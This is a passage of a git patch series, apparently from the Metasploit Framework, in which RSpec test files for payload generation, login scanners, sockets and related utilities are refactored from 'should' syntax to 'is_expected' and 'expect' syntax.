it { should respond_to :arch } - it { should respond_to :processor } - it { should respond_to :buffer_register } + it { is_expected.to respond_to :payload } + it { is_expected.to respond_to :template } + it { is_expected.to respond_to :arch } + it { is_expected.to respond_to :processor } + it { is_expected.to respond_to :buffer_register } it 'should return the correct processor for the arch' do expect(injector.processor.class).to eq Metasm::Ia32 diff --git a/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb b/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb index 86e54ecbe9..88d8515714 100644 --- a/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb +++ b/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb @@ -23,7 +23,7 @@ RSpec.describe Msf::Exploit::Remote::FirefoxAddonGenerator do describe '#generate_addon_xpi' do let(:xpi) { mod.generate_addon_xpi(cli) } - it { should respond_to :generate_addon_xpi } + it { is_expected.to respond_to :generate_addon_xpi } it 'should return an instance of Rex::Zip::Archive' do expect(xpi).to be_kind_of Rex::Zip::Archive diff --git a/spec/lib/msf/core/payload_generator_spec.rb b/spec/lib/msf/core/payload_generator_spec.rb index aa157ab88e..78f7fab6d1 100644 --- a/spec/lib/msf/core/payload_generator_spec.rb +++ b/spec/lib/msf/core/payload_generator_spec.rb @@ -68,22 +68,22 @@ RSpec.describe Msf::PayloadGenerator do described_class.new(generator_opts) } - it { should respond_to :add_code } - it { should respond_to :arch } - it { should respond_to :badchars } - it { should respond_to :cli } - it { should respond_to :encoder } - it { should respond_to :datastore } - it { should respond_to :format } - it { should respond_to :framework } - it { should respond_to :iterations } - it { should respond_to :keep } - it { should respond_to :nops } - it { should respond_to :payload } - it { should respond_to :platform } - it { should respond_to :space } - it { should respond_to :stdin } - it { should respond_to :template } + it { is_expected.to respond_to :add_code } + it { is_expected.to respond_to :arch } + it { is_expected.to respond_to :badchars } + it { is_expected.to respond_to :cli } + it { is_expected.to respond_to :encoder } + it { is_expected.to respond_to :datastore } + it { is_expected.to respond_to :format } + it { is_expected.to respond_to :framework } + it { is_expected.to respond_to :iterations } + it { is_expected.to respond_to :keep } + it { is_expected.to respond_to :nops } + it { is_expected.to respond_to :payload } + it { is_expected.to respond_to :platform } + it { is_expected.to respond_to :space } + it { is_expected.to respond_to :stdin } + it { is_expected.to respond_to :template } context 'when creating a new generator' do subject(:new_payload_generator) { -> { described_class.new(generator_opts) } } @@ -108,19 +108,19 @@ RSpec.describe Msf::PayloadGenerator do } } - it { should raise_error(KeyError, "key not found: :framework") } + it { is_expected.to raise_error(KeyError, "key not found: :framework") } end context 'when not given a payload' do let(:payload_reference_name) { nil } - it { should raise_error(ArgumentError, "Invalid Payload Selected") } + it { is_expected.to raise_error(ArgumentError, "Invalid Payload Selected") } end context 'when given an invalid payload' do let(:payload_reference_name) { "beos/meterpreter/reverse_gopher" } - it { should raise_error(ArgumentError, "Invalid Payload Selected") } + it { is_expected.to raise_error(ArgumentError, "Invalid Payload Selected") } end context 'when given a payload through stdin' do @@ -132,7 +132,7 @@ RSpec.describe Msf::PayloadGenerator do context 'when given an invalid format' do let(:format) { "foobar" } - it { should raise_error(ArgumentError, "Invalid Format Selected") } + it { is_expected.to raise_error(ArgumentError, "Invalid Format Selected") } end context 'when given any valid transform format' do diff --git a/spec/lib/rex/payloads/meterpreter/uri_checksum_spec.rb b/spec/lib/rex/payloads/meterpreter/uri_checksum_spec.rb index 6886111674..f5fedf83c1 100644 --- a/spec/lib/rex/payloads/meterpreter/uri_checksum_spec.rb +++ b/spec/lib/rex/payloads/meterpreter/uri_checksum_spec.rb @@ -8,9 +8,9 @@ RSpec.describe Rex::Payloads::Meterpreter::UriChecksum do subject(:dummy_object) { DummyClass.new } - it { should respond_to :generate_uri_checksum} - it { should respond_to :process_uri_resource} - it { should respond_to :uri_checksum_lookup} + it { is_expected.to respond_to :generate_uri_checksum} + it { is_expected.to respond_to :process_uri_resource} + it { is_expected.to respond_to :uri_checksum_lookup} describe '#process_uri_resource' do context 'when passed a value for INITW' do diff --git a/spec/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_spec.rb b/spec/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_spec.rb index 933563f63d..006501d879 100644 --- a/spec/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_spec.rb +++ b/spec/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_spec.rb @@ -7,27 +7,27 @@ RSpec.describe Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Registry do context "with 'REG_BINARY'" do let(:type) { 'REG_BINARY' } - it { should eq(3) } + it { is_expected.to eq(3) } end context "with 'REG_DWORD'" do let(:type) { 'REG_DWORD' } - it { should eq(4) } + it { is_expected.to eq(4) } end context "with 'REG_EXPAND_SZ'" do let(:type) { 'REG_EXPAND_SZ' } - it { should eq(2) } + it { is_expected.to eq(2) } end context "with 'REG_MULTI_SZ'" do let(:type) { 'REG_MULTI_SZ' } - it { should eq(7) } + it { is_expected.to eq(7) } end context "with 'REG_NONE'" do let(:type) { 'REG_NONE' } - it { should eq(0) } + it { is_expected.to eq(0) } end context "with 'REG_SZ'" do let(:type) { 'REG_SZ' } - it { should eq(1) } + it { is_expected.to eq(1) } end end diff --git a/spec/lib/rex/random_identifier_generator_spec.rb b/spec/lib/rex/random_identifier_generator_spec.rb index fbcc00e53e..1ee093db9e 100644 --- a/spec/lib/rex/random_identifier_generator_spec.rb +++ b/spec/lib/rex/random_identifier_generator_spec.rb @@ -8,11 +8,11 @@ RSpec.describe Rex::RandomIdentifierGenerator do subject(:rig) { described_class.new(options) } - it { should respond_to(:generate) } - it { should respond_to(:[]) } - it { should respond_to(:get) } - it { should respond_to(:store) } - it { should respond_to(:to_h) } + it { is_expected.to respond_to(:generate) } + it { is_expected.to respond_to(:[]) } + it { is_expected.to respond_to(:get) } + it { is_expected.to respond_to(:store) } + it { is_expected.to respond_to(:to_h) } describe "#generate" do it "should respect :min_length" do diff --git a/spec/lib/rex/socket/range_walker_spec.rb b/spec/lib/rex/socket/range_walker_spec.rb index cd8965ca76..87c00d0062 100644 --- a/spec/lib/rex/socket/range_walker_spec.rb +++ b/spec/lib/rex/socket/range_walker_spec.rb @@ -6,21 +6,21 @@ RSpec.describe Rex::Socket::RangeWalker do let(:args) { "::1" } subject(:walker) { described_class.new(args) } - it { should respond_to(:length) } - it { should respond_to(:valid?) } - it { should respond_to(:each) } + it { is_expected.to respond_to(:length) } + it { is_expected.to respond_to(:valid?) } + it { is_expected.to respond_to(:each) } describe '.new' do context "with a hostname" do let(:args) { "localhost" } - it { should be_valid } + it { is_expected.to be_valid } it { expect(subject.length).to be >= 1 } end context "with a hostname and CIDR" do let(:args) { "localhost/24" } - it { should be_valid } + it { is_expected.to be_valid } it { expect(subject.length).to eq(256) } end @@ -36,7 +36,7 @@ RSpec.describe Rex::Socket::RangeWalker do context "with an IPv6 address range containing a scope" do let(:args) { "fe80::1%lo-fe80::100%lo" } - it { should be_valid } + it { is_expected.to be_valid } end it "should handle single ipv6 addresses" do @@ -54,9 +54,9 @@ RSpec.describe Rex::Socket::RangeWalker do context "with mulitple ranges" do let(:args) { "1.1.1.1-2 2.1-2.2.2 3.1-2.1-2.1 " } - it { should be_valid } + it { is_expected.to be_valid } it { expect(subject.length).to eq(8) } - it { should include("1.1.1.1") } + it { is_expected.to include("1.1.1.1") } end it "should handle ranges" do diff --git a/spec/lib/rex/socket_spec.rb b/spec/lib/rex/socket_spec.rb index 82fb173712..6703cbda97 100644 --- a/spec/lib/rex/socket_spec.rb +++ b/spec/lib/rex/socket_spec.rb @@ -91,7 +91,7 @@ RSpec.describe Rex::Socket do let(:response_afamily) { Socket::AF_INET } let(:response_addresses) { ["\x01\x01\x01\x01", "\x02\x02\x02\x02"] } - it { should be_a(String) } + it { is_expected.to be_a(String) } it "should return the first ASCII address" do expect(subject).to eq "1.1.1.1" end @@ -101,7 +101,7 @@ RSpec.describe Rex::Socket do let(:response_afamily) { Socket::AF_INET6 } let(:response_addresses) { ["\xfe\x80"+("\x00"*13)+"\x01", "\xfe\x80"+("\x00"*13)+"\x02"] } - it { should be_a(String) } + it { is_expected.to be_a(String) } it "should return the first ASCII address" do expect(subject).to eq "fe80::1" end @@ -111,7 +111,7 @@ RSpec.describe Rex::Socket do let(:response_afamily) { Socket::AF_INET } let(:response_addresses) { ["1.1.1.1", "2.2.2.2"] } - it { should be_a(String) } + it { is_expected.to be_a(String) } it "should return the first ASCII address" do expect(subject).to eq "1.1.1.1" end diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb index 0e547d0df8..656a001844 100644 --- a/spec/lib/rex/sslscan/result_spec.rb +++ b/spec/lib/rex/sslscan/result_spec.rb @@ -5,21 +5,21 @@ RSpec.describe Rex::SSLScan::Result do subject{Rex::SSLScan::Result.new} - it { should respond_to :accepted } - it { should respond_to :cert } - it { should respond_to :ciphers } - it { should respond_to :rejected } - it { should respond_to :sslv2 } - it { should respond_to :sslv3 } - it { should respond_to :standards_compliant? } - it { should respond_to :strong_ciphers } - it { should respond_to :supports_ssl? } - it { should respond_to :supports_sslv2? } - it { should respond_to :supports_sslv3? } - it { should respond_to :supports_tlsv1? } - it { should respond_to :supports_weak_ciphers? } - it { should respond_to :tlsv1 } - it { should respond_to :weak_ciphers } + it { is_expected.to respond_to :accepted } + it { is_expected.to respond_to :cert } + it { is_expected.to respond_to :ciphers } + it { is_expected.to respond_to :rejected } + it { is_expected.to respond_to :sslv2 } + it { is_expected.to respond_to :sslv3 } + it { is_expected.to respond_to :standards_compliant? } + it { is_expected.to respond_to :strong_ciphers } + it { is_expected.to respond_to :supports_ssl? } + it { is_expected.to respond_to :supports_sslv2? } + it { is_expected.to respond_to :supports_sslv3? } + it { is_expected.to respond_to :supports_tlsv1? } + it { is_expected.to respond_to :supports_weak_ciphers? } + it { is_expected.to respond_to :tlsv1 } + it { is_expected.to respond_to :weak_ciphers } context "with no values set" do it "should return nil for the cert" do diff --git a/spec/lib/rex/sslscan/scanner_spec.rb b/spec/lib/rex/sslscan/scanner_spec.rb index d7209bc24b..ea280b88c1 100644 --- a/spec/lib/rex/sslscan/scanner_spec.rb +++ b/spec/lib/rex/sslscan/scanner_spec.rb @@ -8,10 +8,10 @@ RSpec.describe Rex::SSLScan::Scanner do subject{Rex::SSLScan::Scanner.new("google.com", 443)} - it { should respond_to :host } - it { should respond_to :port } - it { should respond_to :timeout } - it { should respond_to :valid? } + it { is_expected.to respond_to :host } + it { is_expected.to respond_to :port } + it { is_expected.to respond_to :timeout } + it { is_expected.to respond_to :valid? } context "when validating the scanner config" do it "should return true when given a valid config" do diff --git a/spec/support/matchers/query_the_database.rb b/spec/support/matchers/query_the_database.rb index 81065f8181..5dcf1ab5cc 100644 --- a/spec/support/matchers/query_the_database.rb +++ b/spec/support/matchers/query_the_database.rb @@ -10,8 +10,8 @@ module Shoulda # :nodoc: # * <tt>or_less</tt> - Pass if the database is queried no more than the number of times specified, as opposed to exactly that number of times. # # Examples: - # it { should query_the_database(4.times).when_calling(:complicated_counting_method) - # it { should query_the_database(4.times).or_less.when_calling(:generate_big_report) + # it { is_expected.to query_the_database(4.times).when_calling(:complicated_counting_method) + # it { is_expected.to query_the_database(4.times).or_less.when_calling(:generate_big_report) # it { should_not query_the_database.when_calling(:cached_count) # def query_the_database(times = nil) diff --git a/spec/support/shared/examples/credential/core/to_credential.rb b/spec/support/shared/examples/credential/core/to_credential.rb index 72cf69a76a..1a82a4ae20 100644 --- a/spec/support/shared/examples/credential/core/to_credential.rb +++ b/spec/support/shared/examples/credential/core/to_credential.rb @@ -8,7 +8,7 @@ shared_examples_for 'Metasploit::Credential::Core::ToCredential' do FactoryGirl.create(:metasploit_credential_core) end - it { should respond_to :to_credential } + it { is_expected.to respond_to :to_credential } it "should return a Metasploit::Framework::Credential" do expect( diff --git a/spec/support/shared/examples/metasploit/framework/login_scanner/http.rb b/spec/support/shared/examples/metasploit/framework/login_scanner/http.rb index 798cbcbcf8..fd6d0d87d5 100644 --- a/spec/support/shared/examples/metasploit/framework/login_scanner/http.rb +++ b/spec/support/shared/examples/metasploit/framework/login_scanner/http.rb @@ -1,8 +1,8 @@ shared_examples_for 'Metasploit::Framework::LoginScanner::HTTP' do subject(:http_scanner) { described_class.new } - it { should respond_to :uri } - it { should respond_to :method } + it { is_expected.to respond_to :uri } + it { is_expected.to respond_to :method } context "#set_sane_defaults" do diff --git a/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb b/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb index b3a4ee69e0..c7cff2d35d 100644 --- a/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb +++ b/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb @@ -54,12 +54,12 @@ shared_examples_for 'Metasploit::Framework::LoginScanner::Base' do | opts | [ pub_blank, pub_pub, pub_pri] } - it { should respond_to :connection_timeout } - it { should respond_to :cred_details } - it { should respond_to :host } - it { should respond_to :port } - it { should respond_to :proxies } - it { should respond_to :stop_on_success } + it { is_expected.to respond_to :connection_timeout } + it { is_expected.to respond_to :cred_details } + it { is_expected.to respond_to :host } + it { is_expected.to respond_to :port } + it { is_expected.to respond_to :proxies } + it { is_expected.to respond_to :stop_on_success } context 'validations' do context 'port' do diff --git a/spec/support/shared/examples/metasploit/framework/login_scanner/ntlm.rb b/spec/support/shared/examples/metasploit/framework/login_scanner/ntlm.rb index e2e88cf173..c7fbe32c58 100644 --- a/spec/support/shared/examples/metasploit/framework/login_scanner/ntlm.rb +++ b/spec/support/shared/examples/metasploit/framework/login_scanner/ntlm.rb @@ -2,12 +2,12 @@ shared_examples_for 'Metasploit::Framework::LoginScanner::NTLM' do subject(:login_scanner) { described_class.new } - it { should respond_to :send_lm } - it { should respond_to :send_ntlm } - it { should respond_to :send_spn } - it { should respond_to :use_lmkey } - it { should respond_to :use_ntlm2_session } - it { should respond_to :use_ntlmv2 } + it { is_expected.to respond_to :send_lm } + it { is_expected.to respond_to :send_ntlm } + it { is_expected.to respond_to :send_spn } + it { is_expected.to respond_to :use_lmkey } + it { is_expected.to respond_to :use_ntlm2_session } + it { is_expected.to respond_to :use_ntlmv2 } context 'validations' do diff --git a/spec/support/shared/examples/metasploit/framework/login_scanner/rex_socket.rb b/spec/support/shared/examples/metasploit/framework/login_scanner/rex_socket.rb index f3f958664a..0f6bcadb3b 100644 --- a/spec/support/shared/examples/metasploit/framework/login_scanner/rex_socket.rb +++ b/spec/support/shared/examples/metasploit/framework/login_scanner/rex_socket.rb @@ -1,7 +1,7 @@ shared_examples_for 'Metasploit::Framework::LoginScanner::RexSocket' do subject(:login_scanner) { described_class.new } - it { should respond_to :ssl } - it { should respond_to :ssl_version } + it { is_expected.to respond_to :ssl } + it { is_expected.to respond_to :ssl_version } end diff --git a/spec/support/shared/examples/metasploit/framework/tcp/client.rb b/spec/support/shared/examples/metasploit/framework/tcp/client.rb index 9264d39643..961769f088 100644 --- a/spec/support/shared/examples/metasploit/framework/tcp/client.rb +++ b/spec/support/shared/examples/metasploit/framework/tcp/client.rb @@ -2,8 +2,8 @@ shared_examples_for 'Metasploit::Framework::Tcp::Client' do subject(:login_scanner) { described_class.new } - it { should respond_to :send_delay } - it { should respond_to :max_send_size } + it { is_expected.to respond_to :send_delay } + it { is_expected.to respond_to :max_send_size } context 'send_delay' do it 'is not valid for a non-number' do diff --git a/spec/support/shared/examples/msf/db_manager/migration.rb b/spec/support/shared/examples/msf/db_manager/migration.rb index 5e56901547..b18151b911 100644 --- a/spec/support/shared/examples/msf/db_manager/migration.rb +++ b/spec/support/shared/examples/msf/db_manager/migration.rb @@ -1,5 +1,5 @@ shared_examples_for 'Msf::DBManager::Migration' do - it { should be_a Msf::DBManager::Migration } + it { is_expected.to be_a Msf::DBManager::Migration } context '#add_rails_engine_migration_paths' do @@ -122,8 +122,8 @@ shared_examples_for 'Msf::DBManager::Migration' do end context '#migrated' do - it { should respond_to :migrated } - it { should respond_to :migrated= } + it { is_expected.to respond_to :migrated } + it { is_expected.to respond_to :migrated= } end context '#reset_column_information' do diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb index acf862bf52..d6462a7c98 100644 --- a/spec/support/shared/examples/msf/db_manager/session.rb +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -225,7 +225,7 @@ shared_examples_for 'Msf::DBManager::Session' do }.to change(Mdm::Session, :count).by(1) end - it { should be_an Mdm::Session } + it { is_expected.to be_an Mdm::Session } it 'should set session.db_record to created Mdm::Session' do mdm_session = report_session @@ -568,7 +568,7 @@ shared_examples_for 'Msf::DBManager::Session' do }.to change(Mdm::Session, :count).by(1) end - it { should be_an Mdm::Session } + it { is_expected.to be_an Mdm::Session } it 'should set session.db_record to created Mdm::Session' do mdm_session = report_session @@ -995,7 +995,7 @@ shared_examples_for 'Msf::DBManager::Session' do false end - it { should be_nil } + it { is_expected.to be_nil } it 'should not create a connection' do expect(ActiveRecord::Base.connection_pool).not_to receive(:with_connection) diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb index 77a76df998..3bb54848b6 100644 --- a/spec/support/shared/examples/msf/module_manager/cache.rb +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -44,7 +44,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do {} end - it { should be_truthy } + it { is_expected.to be_truthy } end context 'without empty' do @@ -54,7 +54,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do } end - it { should be_falsey } + it { is_expected.to be_falsey } end end @@ -198,7 +198,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do false end - it { should be_falsey } + it { is_expected.to be_falsey } end context 'with true' do @@ -206,7 +206,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do true end - it { should be_truthy } + it { is_expected.to be_truthy } end end end @@ -216,7 +216,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do {} end - it { should be_falsey } + it { is_expected.to be_falsey } end end @@ -317,7 +317,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do true end - it { should be_truthy } + it { is_expected.to be_truthy } end context 'without migrated' do @@ -325,7 +325,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do false end - it { should be_falsey } + it { is_expected.to be_falsey } end end @@ -334,7 +334,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do expect(framework).to receive(:db).and_return(nil) end - it { should be_falsey } + it { is_expected.to be_falsey } end end diff --git a/spec/support/shared/examples/msf/simple/framework/module_paths.rb b/spec/support/shared/examples/msf/simple/framework/module_paths.rb index 62bccbcd11..28309c5dca 100644 --- a/spec/support/shared/examples/msf/simple/framework/module_paths.rb +++ b/spec/support/shared/examples/msf/simple/framework/module_paths.rb @@ -1,5 +1,5 @@ shared_examples_for 'Msf::Simple::Framework::ModulePaths' do - it { should be_a Msf::Simple::Framework::ModulePaths } + it { is_expected.to be_a Msf::Simple::Framework::ModulePaths } context '#init_module_paths' do include_context 'Metasploit::Framework::Spec::Constants cleaner' From 3d64c52c9a2ef8d4f972381c1b253721e64d7f8f Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Wed, 21 Oct 2015 09:25:03 -0500 Subject: [PATCH 032/103] it { should_not -> it { is_expected.not_to MSP-13484 --- spec/lib/metasploit/framework/login_scanner_spec.rb | 12 ++++++------ spec/lib/msf/core/payload_generator_spec.rb | 6 +++--- spec/lib/rex/socket/range_walker_spec.rb | 4 ++-- spec/support/matchers/query_the_database.rb | 2 +- 4 files changed, 12 insertions(+), 12 deletions(-) diff --git a/spec/lib/metasploit/framework/login_scanner_spec.rb b/spec/lib/metasploit/framework/login_scanner_spec.rb index 7840702c27..fde65341ac 100644 --- a/spec/lib/metasploit/framework/login_scanner_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner_spec.rb @@ -21,7 +21,7 @@ RSpec.describe Metasploit::Framework::LoginScanner do let(:name) { 'smb' } it { is_expected.to include Metasploit::Framework::LoginScanner::SMB } - it { should_not include Metasploit::Framework::LoginScanner::HTTP } + it { is_expected.not_to include Metasploit::Framework::LoginScanner::HTTP } end [ 139, 445 ].each do |foo| @@ -29,8 +29,8 @@ RSpec.describe Metasploit::Framework::LoginScanner do let(:port) { foo } it { is_expected.to include Metasploit::Framework::LoginScanner::SMB } - it { should_not include Metasploit::Framework::LoginScanner::HTTP } - it { should_not include Metasploit::Framework::LoginScanner::VNC } + it { is_expected.not_to include Metasploit::Framework::LoginScanner::HTTP } + it { is_expected.not_to include Metasploit::Framework::LoginScanner::VNC } end end @@ -38,8 +38,8 @@ RSpec.describe Metasploit::Framework::LoginScanner do let(:name) { 'http' } it { is_expected.to include Metasploit::Framework::LoginScanner::HTTP } - it { should_not include Metasploit::Framework::LoginScanner::SMB } - it { should_not include Metasploit::Framework::LoginScanner::VNC } + it { is_expected.not_to include Metasploit::Framework::LoginScanner::SMB } + it { is_expected.not_to include Metasploit::Framework::LoginScanner::VNC } end [ 80, 8080, 8000, 443 ].each do |foo| @@ -49,7 +49,7 @@ RSpec.describe Metasploit::Framework::LoginScanner do it { is_expected.to include Metasploit::Framework::LoginScanner::HTTP } it { is_expected.to include Metasploit::Framework::LoginScanner::Axis2 } it { is_expected.to include Metasploit::Framework::LoginScanner::Tomcat } - it { should_not include Metasploit::Framework::LoginScanner::SMB } + it { is_expected.not_to include Metasploit::Framework::LoginScanner::SMB } end end diff --git a/spec/lib/msf/core/payload_generator_spec.rb b/spec/lib/msf/core/payload_generator_spec.rb index 78f7fab6d1..548bb801a1 100644 --- a/spec/lib/msf/core/payload_generator_spec.rb +++ b/spec/lib/msf/core/payload_generator_spec.rb @@ -126,7 +126,7 @@ RSpec.describe Msf::PayloadGenerator do context 'when given a payload through stdin' do let(:payload_reference_name) { "stdin" } - it { should_not raise_error } + it { is_expected.not_to raise_error } end context 'when given an invalid format' do @@ -138,13 +138,13 @@ RSpec.describe Msf::PayloadGenerator do context 'when given any valid transform format' do let(:format) { ::Msf::Simple::Buffer.transform_formats.sample } - it { should_not raise_error } + it { is_expected.not_to raise_error } end context 'when given any valid executable format' do let(:format) { ::Msf::Util::EXE.to_executable_fmt_formats.sample } - it { should_not raise_error } + it { is_expected.not_to raise_error } end end diff --git a/spec/lib/rex/socket/range_walker_spec.rb b/spec/lib/rex/socket/range_walker_spec.rb index 87c00d0062..f5e4ae8047 100644 --- a/spec/lib/rex/socket/range_walker_spec.rb +++ b/spec/lib/rex/socket/range_walker_spec.rb @@ -26,12 +26,12 @@ RSpec.describe Rex::Socket::RangeWalker do context "with an invalid hostname" do let(:args) { "@!*^&.invalid-hostname-really." } - it { should_not be_valid } + it { is_expected.not_to be_valid } end context "with an invalid hostname and CIDR" do let(:args) { "@!*^&.invalid-hostname-really./24" } - it { should_not be_valid } + it { is_expected.not_to be_valid } end context "with an IPv6 address range containing a scope" do diff --git a/spec/support/matchers/query_the_database.rb b/spec/support/matchers/query_the_database.rb index 5dcf1ab5cc..7002f5db7b 100644 --- a/spec/support/matchers/query_the_database.rb +++ b/spec/support/matchers/query_the_database.rb @@ -12,7 +12,7 @@ module Shoulda # :nodoc: # Examples: # it { is_expected.to query_the_database(4.times).when_calling(:complicated_counting_method) # it { is_expected.to query_the_database(4.times).or_less.when_calling(:generate_big_report) - # it { should_not query_the_database.when_calling(:cached_count) + # it { is_expected.not_to query_the_database.when_calling(:cached_count) # def query_the_database(times = nil) QueryTheDatabaseMatcher.new(times) From 53f5c019f96a149434bd7f9f36d13dddf9d01e77 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Wed, 21 Oct 2015 09:45:17 -0500 Subject: [PATCH 033/103] Fix doubles MSP-13484 --- spec/tools/virustotal_spec.rb | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/spec/tools/virustotal_spec.rb b/spec/tools/virustotal_spec.rb index dae40af00a..0a4572f504 100644 --- a/spec/tools/virustotal_spec.rb +++ b/spec/tools/virustotal_spec.rb @@ -86,7 +86,7 @@ RSpec.describe VirusTotalUtility do let(:vt) do file = double(File, read: malware_data) - expect(File).to receive(:open).with(filename, 'rb') {|&block| block.yield file} + allow(File).to receive(:open).with(filename, 'rb') {|&block| block.yield file} VirusTotalUtility::VirusTotal.new({'api_key'=>api_key, 'sample'=>filename}) end @@ -203,17 +203,19 @@ RSpec.describe VirusTotalUtility do expect(VirusTotalUtility::OptsConsole).to receive(:parse).with(anything).and_return(options) + tool_config = instance_double( + VirusTotalUtility::ToolConfig, + has_privacy_waiver?: true, + load_api_key: api_key, + save_api_key: nil, + save_privacy_waiver: nil + ) - tool_config = double("tool_config") expect(VirusTotalUtility::ToolConfig).to receive(:new).and_return(tool_config) - expect(tool_config).to receive(:has_privacy_waiver?).and_return(true) - expect(tool_config).to receive(:load_api_key).and_return(api_key) - expect(tool_config).to receive(:save_privacy_waiver) - expect(tool_config).to receive(:save_api_key).with(anything) d = nil - out = get_stdout { + get_stdout { d = VirusTotalUtility::Driver.new } From 4f23b83fa33bc44fb93a0d9d3011b9042e79551b Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Wed, 21 Oct 2015 09:48:08 -0500 Subject: [PATCH 034/103] .should\n -> expect().to MSP-13484 --- spec/lib/rex/text_spec.rb | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/spec/lib/rex/text_spec.rb b/spec/lib/rex/text_spec.rb index e13fc2b412..e6c3b50cda 100644 --- a/spec/lib/rex/text_spec.rb +++ b/spec/lib/rex/text_spec.rb @@ -24,15 +24,17 @@ RSpec.describe Rex::Text do context ".to_ibm1047" do it "should convert ASCII to mainfram EBCDIC (cp1047)" do - described_class.to_ibm1047(%q[^[](){}%!$#1234567890abcde'"`~]).should - eq("_\xAD\xBDM]\xC0\xD0lZ[{\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xF0\x81\x82\x83\x84\x85}\x7Fy\xA1") + expect( + described_class.to_ibm1047(%q[^[](){}%!$#1234567890abcde'"`~]) + ).to eq("_\xAD\xBDM]\xC0\xD0lZ[{\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xF0\x81\x82\x83\x84\x85}\x7Fy\xA1") end end context ".from_1047" do it "should convert mainframe EBCDIC (cp1047) to ASCII (ISO-8859-1)" do - described_class.from_ibm1047(%q[^[](){}%!$#1234567890abcde'"`~]).should - eq(";$)\x88\x89#'\x85\x81\x84\x83\x91\x16\x93\x94\x95\x96\x04\x98\x99\x90/\xC2\xC4\xC0\xC1\e\x82-=") + expect( + described_class.from_ibm1047(%q[^[](){}%!$#1234567890abcde'"`~]) + ).to eq(";$)\x88\x89#'\x85\x81\x84\x83\x91\x16\x93\x94\x95\x96\x04\x98\x99\x90/\xC2\xC4\xC0\xC1\e\x82-=") end end From f48f8c154075bf6b3533253e2411c3723c25caab Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Wed, 21 Oct 2015 09:51:23 -0500 Subject: [PATCH 035/103] Use `be` before operators MSP-13484 --- spec/lib/rex/random_identifier_generator_spec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/spec/lib/rex/random_identifier_generator_spec.rb b/spec/lib/rex/random_identifier_generator_spec.rb index 1ee093db9e..e08b24b6a6 100644 --- a/spec/lib/rex/random_identifier_generator_spec.rb +++ b/spec/lib/rex/random_identifier_generator_spec.rb @@ -17,13 +17,13 @@ RSpec.describe Rex::RandomIdentifierGenerator do describe "#generate" do it "should respect :min_length" do 1000.times do - expect(rig.generate.length).to >= options[:min_length] + expect(rig.generate.length).to be >= options[:min_length] end end it "should respect :max_length" do 1000.times do - expect(rig.generate.length).to <= options[:max_length] + expect(rig.generate.length).to be <= options[:max_length] end end From 99eaa8efb38f8c8f25768502852b6fb1a037f5f5 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Wed, 21 Oct 2015 09:54:32 -0500 Subject: [PATCH 036/103] Change some expects back to allows to match old stubs MSP-13484 --- spec/lib/rex/proto/pjl/client_spec.rb | 32 +++++++++++++-------------- 1 file changed, 16 insertions(+), 16 deletions(-) diff --git a/spec/lib/rex/proto/pjl/client_spec.rb b/spec/lib/rex/proto/pjl/client_spec.rb index 734106b398..697a6d48c5 100644 --- a/spec/lib/rex/proto/pjl/client_spec.rb +++ b/spec/lib/rex/proto/pjl/client_spec.rb @@ -11,8 +11,8 @@ RSpec.describe Rex::Proto::PJL::Client do let(:sock) do s = double("sock") - expect(s).to receive(:put).with(an_instance_of(String)) - expect(s).to receive(:get).and_return(default_response) + allow(s).to receive(:put).with(an_instance_of(String)) + allow(s).to receive(:get).and_return(default_response) s end @@ -51,7 +51,7 @@ RSpec.describe Rex::Proto::PJL::Client do context "#info_id" do it "should return the version information" do fake_version = '"1337"' - expect(cli).to receive(:info).with(an_instance_of(Symbol)).and_return(fake_version) + allow(cli).to receive(:info).with(an_instance_of(Symbol)).and_return(fake_version) expect(cli.info_id).to eq('1337') end end @@ -59,7 +59,7 @@ RSpec.describe Rex::Proto::PJL::Client do context "#info_variables" do it "should return the environment variables" do fake_env_vars = "#{Rex::Proto::PJL::Info::VARIABLES}\r\nPASSWORD=DISABLED\f" - expect(cli).to receive(:info).with(an_instance_of(Symbol)).and_return(fake_env_vars) + allow(cli).to receive(:info).with(an_instance_of(Symbol)).and_return(fake_env_vars) expect(cli.info_variables).to eq('PASSWORD=DISABLED') end end @@ -67,7 +67,7 @@ RSpec.describe Rex::Proto::PJL::Client do context 